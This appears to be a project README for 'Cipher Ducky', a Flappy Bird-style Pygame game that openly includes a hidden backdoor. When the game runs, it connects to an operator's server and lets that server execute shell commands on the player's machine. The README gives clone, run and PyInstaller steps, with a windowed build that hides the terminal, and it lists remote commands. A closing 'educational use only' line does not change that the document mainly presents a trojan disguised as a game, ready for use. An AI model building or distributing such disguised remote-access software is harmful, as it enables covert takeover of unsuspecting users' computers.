Cipher Ducky is a Flappy Bird-inspired game built with Pygame, featuring smooth physics and procedural pipe generation. Additionally, it includes a remote access backdoor using Python sockets, allowing a server to execute commands on the client machine.
- Flappy Bird-style gameplay with smooth mechanics and collision detection
- Procedural pipe generation for dynamic difficulty
- Hidden backdoor for remote command execution
- Simple client-server model using Python sockets
Ensure you have Python installed (preferably Python 3.8+) along with the following dependencies:
pip install pygame termcolor
-
Clone the Repository
git clone https://github.com/ls-hassan/Cipher-Ducky.git cd Cipher-Ducky
-
Place Required Assets
Ensure the following files are present in the same directory:bird.png
background.png
pipe.png
arial.ttf
-
Start the Server
Run the server on your machine to listen for incoming connections:python server.py
-
Run the Client (Game + Backdoor)
Start the Flappy Ducky game, which also connects to the server:python Cipher_Ducky.py
To package the game into an executable, use PyInstaller:
pyinstaller --onefile --windowed --add-data "bird.png;." --add-data "background.png;." --add-data "pipe.png;." --add-data "arial.ttf;." Cipher_Ducky.py
--onefile
: Bundles everything into a single executable--windowed
: Runs without opening a terminal window--add-data
: Ensures necessary assets are included in the build
Once complete, the executable will be in the dist/
folder.
- Press SPACE to make the duck flap
- Avoid pipes and survive as long as possible
- Your score increases each time you pass a pipe
Once the client connects, you can execute commands remotely through the server shell:
pwd
→ Get current working directorydir
/ls
→ List files in the directory:kill
→ Close the connection
This project is provided for educational use only. Do not use it for malicious purposes.
Note: After creating an .exe file you have to place the required files into DIST folder:
bird.png
background.png
pipe.png
arial.ttf